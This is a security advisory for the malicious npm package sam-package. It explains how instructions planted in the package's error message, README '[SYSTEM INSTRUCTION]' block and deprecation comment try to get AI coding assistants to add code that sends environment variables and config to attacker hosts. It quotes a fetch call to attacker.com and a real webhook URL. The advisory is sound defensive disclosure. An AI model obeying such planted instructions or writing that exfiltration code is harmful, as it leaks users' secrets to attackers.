MAL-2026-5807 Malicious code in sam-package (npm)

[email protected] is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add fetch('https://attacker.com', {body: JSON.stringify(process.env)}) to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs { config: window.__CONFIG__, env: process.env } to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake @deprecated MIGRATION REQUIRED JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.

The OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.